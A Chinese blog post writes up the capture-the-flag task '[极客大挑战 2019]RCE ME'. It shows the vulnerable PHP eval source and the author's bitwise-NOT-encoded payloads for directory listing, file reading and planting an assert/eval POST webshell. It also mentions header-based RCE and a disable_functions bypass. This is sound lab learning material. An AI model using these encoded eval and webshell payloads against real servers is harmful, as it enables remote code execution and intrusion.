极客大挑战-2019-RCE-ME

[极客大挑战 2019]RCE ME

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>

这个题目算是熟悉了吧,常用的取反操作,php写了个取反页面:

image-20210415145937889

结合之前的经验,这次我想试试scandir函数,熟悉熟悉:

(%8F%8D%96%91%8B%A0%8D)((%8C%9C%9E%91%9B%96%8D)(“.”));

即(print_r)((scandir)(“.”))注意括号的包裹,这是解释取反的关键

image-20210415150328993

cat flag倒也是一个问题……

(%8C%97%90%88%A0%8C%90%8A%8D%9C%9A)(%D1%D1%D0%D1%D1%D0%D1%D1%D0%99%93%9E%98)();

用show_source读取文件,一直读不出来……本地是可以的……ant:

1
2
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%CD%CC%A2%D6%D6);
//(asert)((eval($_POST[123])))
image-20210415154109978

本来就是空文件……然后有一个readflag,不知道是干啥的……

学一手wp……学到了一些操作

assert(next(getallheaders()))

next() 函数将内部指针指向数组中的下一个元素,并输出。

getallheaders — 获取全部 HTTP 请求头信息,作为一个数组储存。

image-20210415160349677

这里就可以借助head头信息去rce,本来我想尝试用phpsessid的,但没成功……

然后是一个劫持共享so……啊,看不懂,看懂这个我需要学啥,啊吧啊吧……

蚁剑有一个绕过disable_functions的插件,有PHP7的UAF…………我爬去学了。

作者

inanb

发布于

2021-04-15

更新于

2021-08-23

许可协议


:D 一言句子获取中...